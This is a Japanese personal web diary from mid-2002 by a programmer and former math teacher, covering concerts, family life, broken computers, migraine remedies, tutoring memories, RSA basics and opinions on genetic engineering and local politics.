遺伝情報からウイルス合成、米チームが成功。分子生物学は素粒子論など核物理学よりはるかに早く人類を滅ぼす原因となる可能性が強いんじゃないか。遺伝子工学はビジネスとして成立するので、今後ますます暴走する可能性あると思うのです。現在のような状況であと 100 年もつかどうか心配です。
それにしても自分のクローンを作ってなにがうれしいのだろうか。自分と同じのが横にいたらうっとおしいだけじゃないか。やっぱり、クローンは女性と共同でつくらなくっちゃ(^^)。
もう少しまじめに書くと、クローン人間の最大の問題点は--- これがほとんど不可能だと思うのですが---仮に技術上の困難を解消できたと仮定しても、遺伝子の多様性を著しく損なうことにある思うのです。そもそも、単性生殖自体が遺伝子の多様性に反するものであります。また、例えば血友病の様に、一見すると淘汰されやすいと思われる遺伝子が今でもかなり多く残っているわけであり、これは血友病の遺伝子にも何らかの長期的メリットがあるからとしか考えられません。
人為的な遺伝子操作やクローン人間による自己複製が行われれば、間違いなく血友病の遺伝子は現在より不利な状況におかれます。言い換えると、見掛け上、もしくは短期的に不利な遺伝子は急速に淘汰される状況となるわけです。この様な状況で環境の変化が発生した場合、遺伝子の多様性が大幅に失われているため、人類が生き残る可能性が低くなることは間違いないと思います。私は人為的な遺伝子操作、クローン人間の作成には反対です。
実際には、クローン人間を作る過程で「技術上の困難」によりとんでもなくグロテスクな怪物を産み出すと思います。
アメリカの学会かなんかで調査した結果によると、科学者(数学者を含む)でもっとも神を信じているのが数学者。一番信じていないのは生物学者。
信仰のあるなしに関してどうこう言うつもりはないけど、数学者はやはりすべての真実が存在するイデアの世界を信じている人が多いのかなと思います。生物学者は非常にドライなのです。個人的には最近の分子生物学、というより遺伝子工学は好きになれません。
わたし自身は信仰はないけれど、イデアの世界というか概念を信じてます。
上記意見は、私が個人的に数学や、素粒子物理学、宇宙論の様な役に立たない分野が好きであり、遺伝子工学は好きでないという偏見が入っている可能性はあります。あと、遺伝子のメリットとかいろいろ書きましたが、要するに人為的に遺伝子をいじるのは嫌いであるという、感情的な嫌悪感を正当化するための後付けの理屈という面もあるかも知れません。なんといっても、論理より感情が先に出ますので(^^;。
いや、やはり現在の遺伝子工学はあまりにも醜悪です。核兵器以上の醜悪さを感じます。この件に関しては、不妊の人や病気の人が気の毒だとかその様なことは考えない方が良いとさえ感じます。
核兵器は政治的に制御不可能になる可能性はあるのですが、現在、事故が発生しない限り物理的には全く問題なく制御可能です。ところが、遺伝子工学に関しては、生物学レベルで全然制御可能と思われないのです。何がおこるかは運まかせであります。そのような技術とも言えないような代物を人間に適用するのことが「核兵器以上の醜悪さ」と感じる理由でしょう。
誤解の無いように。私は核兵器の所有には断固反対であります。
↑だいぶ熱くなってますね(^^;。不自然な技術もどきは使うべきでないと思うと一言書けばよかったかな(^^)。
どうした DTI(^^;。
↑またフレッツ関連ですか。NTT 西日本の大阪近辺なにかバグがあるのかな。
仙台に限らず、なにが悲しゅうて正月一日早々営業を始めるのか理解できないのです。売る人だって一日位はのんびりしたいに違いないという想像力さえないのでしょうか。正月一、二日位は全部お休みでいいと思う。なーに、買い忘れがあって二日位食べなくたって人間死にやしない。
前に予備校で年末と正月早々授業をやった話を書いたけど、あれはなんというか、ほとんど遊びなんだ。建前は勉強をするわけなんだけど、結局おしゃべりして、お菓子をたべてるだけだったのです(^^;。
昨日 P 君と話をしたのですが、「ウインブルドンなんかの中継をみていると、雨が降ってなんにもしていない時も楽しいよね。F1 なんかもたらたら走ってるときが楽しいよね」ということ。民放テレビのスポーツ中継なんかが極端ですが、間があいてしまうことに極度の恐怖をもってしまう。それで、関係のない芸能人とか呼んできて大騒ぎをする。日本全体が「なんにもしないでのんびり」ということが出来なくなってきてるのかなあ。
そういえば「ねこ曜日」という曲がありましたね(^^)。

2002年7月11日(木)

わたしは熱力学の法則を忠実に守る人間でありまして、常に近傍のエントロピーを増大させています。いつも、奥さまに「もっと片付けなさい」と怒られているのであります。会社の机の廻りも乱雑で、若いひとが見るに見かねて片付けてくれたりします。そういうわけで、物もちも非常に良くないのですが、２つだけ長年使っているものがあります。
一つ目は時計。この時計、学生時代に初期の SEIKO のデジタル(表示はアナログ)時計に大枚３万円をはたいて買ったものです。ステップモーターの寿命なんて高々１０年くらいだと思うのですが、なんと２５年も動き続けています(^^)。今は針に追随して文字版がまわる(^^;というすばらしい状態で、非常に時刻が見にくいのですが、なんといっても奥さまより長い付き合い。完全にだめになるまで捨てるのはしのびないのです。
もう一つは電卓。これはプログラマーに転職してすぐに買ったもので、 HP16C というマニアの間では結構有名な電卓。買ってから１５年。 HP16C はコンピューター技術者向けの逆ポーランド電卓で、演算子を一番最後に適用する方式です。日本語読みにすると分かりやすのです。かっこは必要ありません。
```
2 Enter 3 +       ---> 5       # 2 と 3 を足すと 5
2 Enter 3 + 4 x   ---> 20      # 2 と 3 を足して 4 を掛けると 20
```
2,8,10,16進数による演算、シフトやローテーション、プログラム機能など、非常に便利で使いやすいです。残念なことに大昔に製造中止になってしまって今は非常に入手が難しいです。 Yahoo のオークションで元の値段より高値がついたりします。
最近 HP も逆ポーランド電卓の販売に消極的になり、万が一壊れてしまった場合の保険に今年の始めに買ったのが HP48G+。はっきりいってこれは失敗。やたら大きいし、機能も多すぎ。通常の計算には不便すぎます。それでもなかなか充実した機能、特にプログラミング機能があるので、しばらく遊んでいたのですが、そのうち谷山浩子さんモードに入ってしまい忘れられた存在です。予算的にも結構痛かったです。
今日から本格的な夏という感じですね。
まいったな～。FPGA 開発用の Athron 1.2G Dual CPU Windows 2000 マシンが壊れてしまった。一度固まって、再起動してしばらく動いていたんですがもう一度固まって二度と起動せず。BIOS の画面もでない。ふたを開けてみても原因の見当つかず。修理に出すしかないですね。最近ハードがらみのトラブルにたたられていますなあ(^^;。
プログラムやデーターは全部 FreeBSD マシン(evariste)に置いて Samba 経由で使用しているので問題ないんですけど。
それにしても Freeway さん、保証書の他に届け品明細がないと分からないとか、届け日付が分からないと製造番号と伝票番号だけではだめだとか何やってるんだか。やっぱり保守は IBM だね。
急げや急げ、精子が「重連運行」でスピードアップ。ははは、人間の場合どうなんだろう。娘に「あなたの半分はパパのなんたらかんたらから生まれてきたんだ」と言うとすご～くいやな顔をします(^^)。
ところで「未承諾広告※」メールのヘッダは生 JIS なのか mime encode されているのか教えてくれるとうれしいな。携帯も持っていないし、メールアドレスもマイナーなんで来ないんだよね(^^)。

2002年7月10日(水)

昨日からの偏頭痛は久々にかなり重症。やっとの思いで家に帰ってきました。ひどい頭痛と悪寒、胃もおかしい。電車でゲボ吐きそうになっちゃって、死刑に値するんだよね。
今日は休みたいくらいだけど、お客さんのところで打ち合わせがあるし。それに、11 月の平日のコンサートは事前に有給にしとかないと、私の勤ているような 20 人もいない様な会社では、その日になってエライ人の気分でどうなるか分からないから非常に危険なのである。
↑意味不明な文章ですが、要するに有給を無駄に使ってはいけないということ。
それはともかくもうだめ。おやすみなさ～い。
アスピリンの後遺症で胃が痛いがなんとか会社に到着。
今日は会社から 2 時間もかかる埼玉県で 14 時から打ち合わせ。打ち合わせが 16 時に終わるとして、台風も来るようだし3 時間かけて藤沢に直帰だね。
出かけるまで 1 時間くらいあって、なんか特に他のこともやる気が起きないので。偏頭痛の薬に関する話。
偏頭痛は脳の外側のなんとか血管が拡張して起こります。そこで治療法としては基本的には血管を収縮されればよいわけです。
一番有名なのが酒石酸エルゴタミン。この薬はライ麦につく麦角菌が生成する物質で、強い血管収縮作用があります。また、強い子宮収縮作用があるので、妊婦の方は絶対に服用してはいけません。ただし、この作用を利用して陣痛促進剤に使用されることはあります。わたし何回か飲んだことがありますが、正直いってとても相性が悪いです。気分が悪くなるし、一番困るのが一時的に偏頭痛はおさまるのだけど、薬の効果が切れると結局また頭痛がおきるというまったく意味のない状態なのです。ちなみにこの薬、ちょっと細工をすると LSD になるはず。やったことないけど。
カフェインにも弱い血管収縮作用があるので効果があります。現在の私の場合、コーヒーと市販の鎮痛剤でかなり症状が楽になります。
最近、新しい効果がある薬も開発されたそうですが、私自身の偏頭痛は若いときより症状が楽になっているので試したことはありません。
ナメクジが偏頭痛になった場合、カフェインは副作用が強すぎるので、治療に難儀するかも知れません(^^)。
上のリンクによると、オウム真理教がロシアから酒石酸エルゴタミン 5kg を 25万ドルで輸入したそうです。
数学が専門でない方へ。アレフという言葉は、非常に印象が悪くなってしまったかも知れませんが、数学で無限の大きさを表すために使用されている言葉(記号) であり、本来非常に由緒正しいものなのです。
結局家についたのが 18 時頃。ちょっと早かったかな(^^;。

2002年7月9日(火)

やばー、昨日は長女の誕生日。谷山さんに夢中になってて忘れてた～(^^;。受験生を二人もかかえて、パパがこんなにイッチャッテていいのかな(^^)。それにしても二人ともお勉強しませんなあ(^^;。
この様な場合、高校三年生ともなれば「金銭による円満解決」を図るしかないでしょうね(^^)。
今日の朝起きるのは結構きつかったです。２日後に疲れが出るんです。あと、朝起きたら頭が痛い。どうも寝ている間に偏頭痛になったらしいです。偏頭痛は喜びすぎたり興奮しすぎた後によくでるのです(^^;。
ところで今朝電車に乗るとき、朝帰り風茶髪ゆかたねーちゃんが３人いたのだけれど、七夕は一昨日で終りなのに何をやっていたのだろう。茶髪ねーちゃんのゆかたというのもなかなか風情があります(^^)。
あれれっ、帰ろうと思ったらまた目がみえな～い。本当に喜びすぎて興奮しすぎたんだ(^^;。

2002年7月8日(月)

昨日幻想図書館に行く前に時間があって、新宿のさくら屋で時間潰しをしていたら、日立 Prius のラスタビュー液晶が置いてありました。一言で言うと「綺麗」。となりに LaVie が置いてありましたが、どす黒く腐って見えました(^^)。また可愛いチャチャさまが(^^)。
幻想図書館に３日間通ったわけです。この数ヵ月間本当に待ち望んでいたことであり、ある意味２月１日以降この日のために行動していた面もあると思います。この３日間を振り返ると、非現実的な３日間だったというか、正直言うと幻想図書館以外の時間は夢のように感じられ現実感がないのです。
３日間はすごく長い時間だったようにも感じるし、あっと言う間に終わってしまった様な気もします。幻想図書館自体は、内容からして夢のような話ではあるわけですけど、他の事柄とは違いまだ鮮明に記憶に残っています。
今の気持は、すばしい３日間を体験できた満足感で心がフワフワしている面と、終わってしまった虚脱感が同居してちょっと不安定な状態です。
それにしても、３日間とも本当にすばらしい舞台であり、すばらしい演奏でした。特に昨日の日記に書いたように、最終日は非常に良い座席で、谷山浩子さんを本当に身近で見ることができたのは幸せというしかありません。
こんなすばらしい舞台がビデオとか DVD として記録に残らないのは残念です。しかし、非常に自分勝手な言い方をすると、記録に残らないことにより自分自身の記憶に残っていることがすべてとなり、その内容もだんだん薄れていくのでしょうけど、すばらしい体験ができたという記憶は生きている間は永遠に残るわけで、それはそれで悪くないかなと思うのです。もし、後で見れると分かっていたらこれだけ集中できたかどうか自信がないのです。記録に残るのもとても素晴らしいことなんですけど。
去年の終りのころから、ちょっと壊れて一ヶ月も休んだり、今回の幸せな体験まで、わたしにとっては本当にいろいろなことがありました。家族やいろいろな人の親切によりなんとかここまで来れたわけであり、本当に感謝してもしきれないほどです。また、こんなヘンテコなページを読んで下さるかたも何人かいらっしゃるわけで、ずいぶん心の支えとなっています。本当にありがとうございます。
もう東京公演は終わってしまったので書いてしまいますが、誘導灯を消すのって消防法にひっかからないのかな？
もちろん消した効果は絶大でした。
↑教えて下さった方がおりまして、消防法が平成11年に一部改正となり、ある一定の条件を満たせば大丈夫だそうです。
そういえば、昨日 F1 だったんですねえ。忘れていました。あとウインブルドン、女子がセリーナ・ウィリアムズ、男子がレイトン・ヒューイットだったのね。これも、知らなかったです。
ウイルスらしきメールが来たのだけれど、失礼なことに From: が私自身(^^;。 FreeBSD しか使っていないので、ウイルスの怖さの実感がないんです。

2002年7月7日(日)

昨日は長女が浴衣を着て平塚の七夕に遊びにいきました。東北地方の七夕は月遅れで８月に行われますね。
今日が最後だけど、谷山さんの目の前という夢のような座席(^^)。
忘れないように。今日は一時間早い。心がういてて、日記も断片的な記述しか出来ないです。
今日は三女のサイエンスクラブの日で一緒に行きたかったのですけど、奥さまの「あなた、明日から仕事だし、家を８時半に出て夜１１過ぎに帰ってくるなんて疲れてしまいますよ」という言葉で断念。
幻想図書館にでかけるまで時間があるので、家の「うし Windows Me」マシンに先週買った 128M RAM を追加。合計 256M に。あんまり速くなった感じがしないけど、きっと二女が絵を書くときに効果を発揮するのでしょう。
いまノートが入院中なので、家にいるときは「牛さま」だけが頼り。それにしてもいつも Escape の場所が「半角/全角」。 Emacs では Escape を多用するので良く間違う。間違うと Windows の IME と Emacs の方の Canna が競合してわけがわからなくなる。あと Contol の位置も慣れない。家族が使うマシンなので、勝手にカスタマイズできないしね(^^;。
二女に確認させたら「激速になった」というご評価(^^)。
幻想図書館に行ってきました。谷山浩子さんはピアノの椅子にずっとすわってピアノを弾いて歌ったり、こちらを向いて朗読したりするわけなんですが、わたしは一番前の席でやや左側から谷山さんを見るという絶妙な位置。距離は３メートル位かな。ピアノを弾いているところが見れるし、ペダル操作も見えました。表情もやや後ろからだけど良く見えました。そして、こちらを向いて朗読しているときは、本当に細かい表情まで見えました。
昨日と一昨日で、ストーリーとかは分かっているので、今日はずーっと谷山さんを見ていただけです。ほかのところは全く見ませんでした。本当に声も、顔も、体の動かし方も全部表情豊かで、可愛いんだこれが。
歌もとってもすばらしくて、CD や過去のライブやイベントを聴いた範囲では、結構音程が危ない部分もあったと思うのだけど、今回実際聴いてみると全然そんなことはなかったです。本当に完璧な美しい歌でした。
細かい分析なんて私には出来ないけど、とにかくサイコーでした。後半は視界が谷山さんの部分だけにフォーカスして、ほかの部分が全く見えなくなりました。こんなすばらしい体験一生に何回もないと思う。
谷山さんって、ピアノを弾いているとき、右足は当然ペダルなんだけど、左足でリズムをとる癖があることを発見しました(^^)。あと、前髪がちょっとうっとおしかった様でした。しょっちゅう前髪に手をやっていました。最後は拍手がなりやまずに、規定のアンコールのあと、もう一度出てきていただけました。わたしまだ手が痛い。
↑かなり興奮状態で書いたので、あとで若干の修正が入るかも知れません。
結構変だったので 2002年9月23日若干修正。まだ変だけどまあいいや(^^;。

2002年7月6日(土)

この楽しみをあと２回も味わえるとはうれしいな(^^)。
あれ、チャチャさまが ThinkPad の悪口をいってる(^^;。わたしは案外好きなんだけど、IBM に対する評価って人によってかなり違うのよね(^^)。あと、わたしってとりあえずノイズなしで見れればあんまり画質に興味をもたないせいかもね。
モカの誕生日に買ってあげた小鳥が死んでしまいました。様子がおかしいので、モカが手の上にのせたところ、そこで死んでしまいました。昨日まで、手の上に乗ってえさをたべたり、あんなに元気だったのに。三女は３０分位泣いていましたが、今は復活して新しい鳥の交渉をしています。私も少し泣いてしまいました。
午前中はドラムの練習。来週は音楽教室の発表会なのでお休み。再来週からドラムパートの録音。
今日も「幻想図書館～不思議の国のアリス」。とても良い舞台でした。谷山さんの歌は最高(^^)。ふわふわした気分で帰ってきました。

2002年7月5日(金)

楽しみです(^^)。
なんか、チャチャさまのところ、全然接続できないと思っていたら、そういうことだったんですね。かなり大きい障害ですねえ。
この２か月位不可能と思われる事柄が重なって困っていたのだけど、やっと「不可能であること」を相手に納得させることができたかも知れない。可能であることを証明するのは簡単だが、不可能であることを証明するのは難しい(^^)。
今日は３時半頃に三女が帰ってきたら家をでる予定。もちろん、夜、三女ひとりで家に置いとくわけにいかないので、お姉さまに「よろしく」とお願いして。小田急線で新宿へ出陣だ～(^^)/。
それで JR で新大久保駅に出て東京グローブ座へ。 18時30分開場、19時開演ですよね。わたしって、肝心なときとんでもない勘違いすることがあるから(^^;。もし間違っていたら教えて下さい。あと、明日のチケットなんて持っていったら大笑いだし。
上に書いた予定通り、「幻想図書館～不思議の国のアリス」に行ってきました。とても楽しかったです。奥様も非常に楽しかったと言っております。まともな感想はもうちょっと整理出来てから書く予定です。最後の感想文、私は文章を書くのに非常に時間がかかるのであれは無理ですね(^^;。
今までイベントを２回聴きにいったのですが、やはり本番というか、コンサートは良いですね。谷山さんも絶好調でしたね。演奏者と観客の一体感も非常に良かったと思います。
11月に8日間「猫森集会」があるそうで、奥様にあきれられながら、チケットがとれれば全部参加の予定です。
ところで J さん今日はどうもありがとうございました(^^)。今日の舞台の配置からするととんでもなく良い席ですね。帰りにご挨拶するつもりが、ちょっとごたごたしてわけが分からなくなって、子供も待っているので先に帰っちゃいました m(__)m。

2002年7月4日(木)

ちゃちゃ様ご推薦の 280円プッチンゴムが届きました。佐川急便で 20x20x5 cm 位の箱に梱包されてきました(^^;。立派な納品書までつけちゃって大赤字間違いないですね。
ノート PC がいなくて寂しいのでちょっと前のデスクトップ公開。巨大です。ちゃちゃ様の著作権等はちゃちゃ様の管理人さまと、彩花みん/集英社・テレビ東京・NAS ←すみませんこれもパクリ、にあります。また可愛いのがアップされていますね(^^)。
今日は午前中からお客さんのとこ。会社に戻るのは３時頃かな。

↑昨日の夜自宅でメールをみたら、お客さんから打ち合わせをしましょうということで行ったのですが、会社の社長以外に連絡するのを忘れて「かがみさんまた壊れちゃったのか」とか「明日と間違えたんじゃないか」と結構話題になっていたらしいです(^^;。この日記をみてくれた人がいておさまったようです。
いよいよ明日からです。５か月待ちました(^^)。ところで、一昨日から谷山さんの曲を聴いていません。２月以降一日一度も聴かなかったことはなかったので禁断症状気味です。ここは我慢して明日の感動を大きくしましょう。
２週間以上前から有給届けを出して、社内スケデュール板にも書いて、昨日もメールで念を押したのに、H さん明日の17時からわたしのアポ入れちゃって～(^^;。当然お断り致しました(^^)。
田中知事の不信任案提出決定。知事は総理大臣とは異なり住民の直接選挙で選ばれています。犯罪を犯したとか、よほどの非常識な言動があった以外の理由で、安易に不信任を出すべきではないと考えます。住民に対してあまりにも不利益な状況が発生した場合のために、リコールという制度もあるわけです。横浜の件にしても、今回の例にしても、自分の考え以外の意見を受け入れないで、安易に実力行使を行う例があまりにも多いのです。民主主義の理念をちゃんと考えなくてはいけません。
念のために。私は、田中知事が携帯の SPAM メールの対応に対して NTT の担当者を呼び出し、相手の弁明をまったく無視して罵倒している場面をテレビでみたことがあるので、彼のことは個人的には好きでありません。
もちろん知事には解散権があり、横浜の件と長野の件は事情が異なります。横浜の件の方がはるかに問題であることは当然です。そういう意味では横浜の件をいっしょに出したのは良くなかったかも知れませんね。ただ、上に書いたように、直接選挙で選ばれた首長を自分達と意見が合わないからという理由だけで安易な不信任決議を行うべきではないと考えるのです。直接選挙の理念からは、首長の解任はリコールが正当な手段だと思います。もう一つ余計なことを書くと、どちらも自分と異なる意見を尊重しないで、しかも力で排除しようという風潮を感じるのです。知事の方にも大いにその傾向はあるんですけどね。
民主党の悪口は、上のパラグラフを間にいれるとへんてこになるんで削除。
そんなことはどうでも良くって、明日はよろしくお願いしま～す(^^)。

2002年7月3日(水)

昨日、家に帰ったらノート PC で使おうと思っていた Wnn7 が届いていました(^^;。 IBM のマウスプッチンゴムも出荷されたそうです。
IBM がノート PC を取りにきました。しばしのお別れであります。それにしても今日は evariste ちゃんも、今までオーバークロックでだいじょうぶだったのが調子が悪くて正規のクロックに戻したし、ノートの galois ちゃんはいなくなるし、まさか 21 才になったわけないよね(^^;。
次のところに書いた「M 学院女子高校」。わたしが勝手に「女子」付きだと思い込んでいた様で、昔から「M 学院高校」だった様ですね(^^)。女子高であることは間違いないでしょうけど。 M 学院女子大学と混同していたのかも知れません。次の文章の最後が意味不明になるけど、書いた時はそう思っていて実害もないので修正しません。
わたしは、仙台で数学を勉強していていました。数学が好きでマスターコースに進学したのですが、数学のマスターの場合予備校の講師というなかなかおいしいアルバイトがあったのです。ほとんどの場合先生の紹介でどこの予備校でアルバイトするかが決まったのです。
私が先生に紹介された予備校は C.A.P 予備校というところでした。当時も、ちょっと経営が苦しいという話は聞いていて、さすがに今はもうないかなと思ったらちゃんとあるようですね。塾長さんも当時と変わっていません(^^)。場所も国分町で当時と同じですね。
この塾長さん、なかなかのやり手でして、弱小予備校が普通にやって大手の文理予備校(今は河合塾の名前が入ってますね) なんかにかなうわけがないので、少数精鋭を売りにして比較的金銭に余裕のある家の子供をターゲットにしていました。うささによると、もう一つセールスポイントがあって、医歯学部系のなんとか入学が得意とか(^^;。
この予備校で教えるのはとても楽しかったです。同時に教える生徒は多くても 20 人くらいだったと思います。普通は 5 人位のグループで教える場合が一番多かったのです。当然、数学が得意な生徒も苦手な生徒もいるわけですが、さすがに予備校に通うだけあってやる気がある生徒が多いわけです。相手にやる気さえあれば、こちらはいくら出来が悪いといっても、数学のマスター。腕前は一番油が乗り切っている時期であり、高校の問題くらいは楽々解けるし、大学の入試問題もよほどの難問以外はすぐに方針がうかんでくるわけです。しかも若くって教えるのが楽しくて仕方がない時期でもあったのです。
数学が得意な生徒の場合、こちらで余り口出しをする必要もなく、質問してきたらヒントを与えるなり、面白そうな解き方を教えてあげれば良いのです。相手が納得したら、場合によってはそれに関連した問題でもう少し難しいのとか、関連した面白そうな話をしてあげる。それで自然に力がついていったと思います。
数学があんまり得意じゃない生徒の場合、大体は基本的な部分で自信をなくしている場合が多いので、たいくつそうで可哀想なんだけど、大量の基本問題を反復練習させました。やる気はあるので大体の生徒は一生懸命勉強してくれます。いくらなんでもこんなにできないだろうと思っていると、ちゃんと期限内に全部やってきてこちらがびっくりしたことも何回かあります。不思議なことに、簡単な問題でも何回かやって自信がついてくると、自然と応用的な問題もだんだん出来るようになってくる場合が多かったのです。一生懸命勉強してくれたという共感もあるので、教える方も熱心になってきまして良い循環に入る分けです。
それで、やる気もない生徒はどうだったかと言いますと、正直言いましてお手上げでした。このあたりが高校の先生になって苦労する原因だったかも知れません。
わたしも若かったし、生徒は当然若いので受験を目指して一緒に勉強していると、一種独特の共感モードに入るわけで、仕事とはいえ非常に充実した時間を過ごすことが出来たのです。とても楽しい時間でした。 12月31日、1月1日マラソン勉強なんてのもやりまして、塾長氏に「ごくろう様」ということでおいしい寿司をおごってもらったりしました。
色々な高校の生徒がきていまして、数字の一、二がつく高校、当時は男女別でしたね。あと、なぜか相性が良くって、教えるとみんな合格したのが M 学院女子高校(^^)。 M 学院女子高校の生徒は、私が接した範囲ではとても素直な生徒が多かったのです。インターネットで検索すると、今は「女子」がとれちゃってますねえ。 M 学院女子高校の名前を思い出すと今でもちょっと心ときめくんだけど、 M 学院高校だとときめかないですね。
数学のマスターで、予備校のアルバイトが面白くて、はまってしまって、本業がおろそかになった人がかなりいます。わたしもその一人であります。下記の様な優雅な収入でありました。今よりはるかに生活楽だったな。 20年以上前の物価ですからね。
```
育英会奨学金            72,000円   無利子。教員 5 年以上で全額返済免除。
予備校アルバイト       100,000円   2,3講座の日が2日。日曜丸一日。
家庭教師                10,000円   週一回２時間
```

2002年7月2日(火)

IBM のノート PC が故障してしまいました(=_=)(-_-)(;_;)。温度が上がると画面の色がまだらにおかしくなるのです。ふたの角度でも変化します。 IBM のサポートセンターに電話をしたところ、保証期間なのでこちらに取りにきてくれるとのこと。このあたりのサービスはなかなか良いのです。しばらく mp3 は聞けません。日記は家の Windows PC から会社のサーバーにログインして書くことができるんですが。あーあ、がっかり。
明日とりに来るので、今日はせいぜい mp3 を聴いておきましょう。週末は大イベントでノート PC どころじゃないしね。環境は全部サーバ(evariste) に移行しました。
おそらく原因は２か月前にこぼしたヨーグルト(^^;。
最後に「森へおいで」を聴いてしばらくさよなら～。それではタマ抜きの儀をおこな～う(^^)。←ハードディスク取り外しです。
昨日傘を電車に忘れてしまいました。駅に問い合わせたところ、似たような傘はあるというのですがいまいちはっきりしません。現物をみにいきます。
↑ちゃんとありました。駅員さん、とても親切でした(^^)。
海外に行くと免税でないタバコが高いのに驚きます。確か、オーストラリアでは、円換算で普通のタバコが一箱 800 円位した記憶があります。もちろん持ち込み限度のタバコを事前に免税店で買い込んだんですが。今後ますます世界的にタバコの値段が高くなると思います。他人に迷惑をかけない場所で吸う分にはタバコも悪くないと思いますが、禁断症状が強烈なのでなかなか守れないでしょうね。
値上げのニュースをみて不愉快にならないことも、タバコをやめたご利益であります(^^)。ニコチンというのは、他の依存性物質と違って特に気持ち良くなるわけでないのに、精神的依存性だけは最強という、割に合わない物質であります。快感と依存性の比率でいえば、おそらくモルヒネの方が割に合うといえるでしょう。
ニコチンの致死量は、乳幼児で 10～20mg、大人で 30～60mg でタバコ一本の含有量が 20mg 程度です。つまり毒物という観点からいうとかなり強烈なものといえます。ただし、大人でタバコを常用した場合致死量が 10 倍以上になる場合もあります。猛毒といわれる青酸塩の致死量が 100mg であることと比べればその強烈さが分かると思います。
大量のタバコをまいておけば害虫類は一撃ですが、副作用が多く通常の用途には向きません。
セキュリティに神経質なほどうるさい人が増えている様な気がします。
彼らは、セキュリティに関して一言をもって、二人集まるとすぐにケンカになるのであります。彼らの意見をまともに聞いていたら、ネットワークを利用するのは不可能であると思われるほどなのです。また、雑誌等で売上一位のソフトウエアーがウイルス対策ソフトであるなどと聞くと、何のために PC を使うのかと思ってしまいます。
私などは、人を信用してしまう方なので、あんまりセキュリティーのことは考えず NAT と VPN という鳥かごの中で常識的なパスワードに守られていれば、大体大丈夫だろうなと考えてしまいます。 IPv6 関連の人は NAT を非常に嫌っている人が多く、その理由も分かるのですが、やはり安全性が高いことは間違いないと思います。もちろん、鳥かごに入っているのがいやなのは良くわかります。
それはともかく、私は「自称セキュリティーの専門家」の人達をみるとちょっとからかってみたくなるのです。「自称セキュリティーの専門家」の人は「暗号の名前」に関しては詳しいのですが、肝心の仕組は全然分かっていない場合が多いのです。「口先男」が多いのです(^^;。普通の人が、仕組みを分かっている必要はないと思うけど専門家を自称するならねえ。
```
かがみ> RSA はなんたらかんたらですねえ。とウソを言う。
専門家> そうなんですよ。
かがみ> ふーん、本気でそう思ってるんですか。
```
と、非常に意地が悪いのであります。もちろん「かたぎの人」にこんなことはいいません。昨年、高校程度の数学を前提とした RSA の勉強会を行いました。そのときの資料がこれです。「暗号」に関してはいい加減なことも書いてありますが、RSA に関しては間違っていないと思います。もちろん、高校程度の数学が前提なので、結果のみを述べている部分が多々あります。
バグ等はご容赦下さい。コピー、引用、その他すべてご自由に。 TeX のソースを自由に改編されても結構です。大した内容じゃないけど(^^)。
それにしても、次の初等的な定理はとても応用範囲が広いです。初等整数論の基本定理と言ってもいいと思います。
```
    p,q が互いに素な自然数のとき

        p x + q y = 1  

   を満たす整数 x,y が存在する。
```
ちょっと拡張すると「中国人剰余定理」になりますね。

2002年7月1日(月)

昨日、最後の試合位はということで、はじめてテレビでサッカーを観ました。大体私が観ると点数が全く入らないのですが←だから好きじゃないんだ、ちゃんと入りましたね(^^;。試合の始まる前に高３の長女に「どっちを応援するの」と聞いたら、「うーん、トルコかな～」(^^;。やっぱり親子だよ。
午後から i386 のバスや AGP がらみの本を探しに秋葉原。
最近は i386 のバスや AGP の本なんて全然在庫なし。買ってきたのは S 君ご要望の「ペンギン君プレート」 P 君ご要望の「デーモン君プレート」。パソコンにペタンとはりつけるやつです。会社で使う DIMM 128M と私の家の Windows Me パソコン増強用の DIMM 128M。今までデフォルトの 128M で我慢してきたけど、もう限界。
あと、驚くべき収穫があって、石丸ソフト館をのぞいてみたら 「カントリーガール」 が一枚だけ置いてあったのです(^^)。どこのインターネットショップでも品切れだったのでもう手に入らないかと思っていました。ついでに「HIROKO TANIYAMA 80's」も買ってきました。所有CDリスト更新。
↑全く仕事の役にたたない秋葉原探索でありました(^^;。
テレビ朝日の「ザ・スクープ」が９月一杯で打ちきりだそうです。いやな予感はしていたのです。
テレビ朝日さんへ。こんなことをしていては、メディア規制法に反対する資格がなくなってしまいますよ。
次の置換を行うと一昔前の山形県が 30 年位前の福島県になります。
```
山形交通       福島交通
山形新聞       福島民報
山形の放送     福島テレビ
服部天皇       小針天皇
山形県の知事   木村守江
```
木村守江は福島県の知事在職中に収賄で逮捕され、懲役刑が確定しました。福島民報は木村守江が逮捕された時、不法逮捕であると書いたのです。また、福島民報には福島交通の都合の悪い記事は絶対にのりませんでした。教員をやっていた頃、磐城高校という高校で教えていたこともあるのですが、そこの同窓会長がとっくに懲役が確定した木村守江でした。「なんで、犯罪者を同窓会長にしておくんだ」と言ったら、次の年に飛ばされました。磐城高校は甲子園でもそれなりに有名ですが、自前の予備校を持っていて、勤務時間に先生が教えに行く等、非常に不透明な部分が多い高校でした。
↑ローカルねたなんで、分からない方、ごめんなさい。
福島県は会津地方、中通り地方、浜通り地方と山脈で三つの地域に分けられています。天気も三つの地域で全く異なります。私は福島市、つまり中通り地方の出身です。
最後に教員だった頃は会津地方の高校で教えていました。冬になると寝雪が一メートル以上になったりします。いろいろ大変だったこともあるのですが、奥さまと知り合ったり、初めて谷山浩子さんの曲を知ったり、親切な先生に色々お世話になったり、いい想い出もたくさんあるのです。浜通り地方に関しては←磐城高校ですな、まったくいい想い出がありません。あの地方は嫌いです。
それにしても、わたしの奥さま、藤沢市から会津地方の教員とはずいぶん思い切ったもんです(^^)。結局大量の役に立たないお荷物を持って藤沢に戻ったけど(^^;。えーっと、最後のカワユイお荷物は藤沢にきてから出来たんだよね(^^)。
先月の日記で「ピアノの発表会」7月15日と書いたのは7月13日の間違いでした。修正しました。なんか、幻想図書館大阪公演の日を 15 日と勘違いしていたんだ。

2002年6月30日(日)

今日は一日ごろごろ過ごす予定。三女は7月13日のピアノの発表会のリハーサルだし、今週末から来週にかけて忙しいからね(^^)。
ごろごろしていたら、その辺に「平成９年りぼん１０月号」というのがころがっていました。今年って平成何年でしたっけ。調べてみると ←覚えとけって(^^;、平成14年だそうなので5年前。いやー、なつかしいですなあ。「赤ずきんチャチャ」「こどものおもちゃ」とか載ってる。当時は自分が読みたくって、お金を出して子供に買ってきてもらっていたんだ(^^;。女の子がいる利点だね。
修学旅行の件、二女と奥さんまだ怒っています。二女はともかく、奥さまの怒りは激しいです。「三者面談のときに文句を言う」と言っています。三者面談の前に成績は確定していますからね。対応が悪くて修学旅行をめちゃくちゃにして、あやまりもしないで。しかも、女の子全員に口止めをしたという。本当に金返せよな～。← わたしも怒っているのであります。
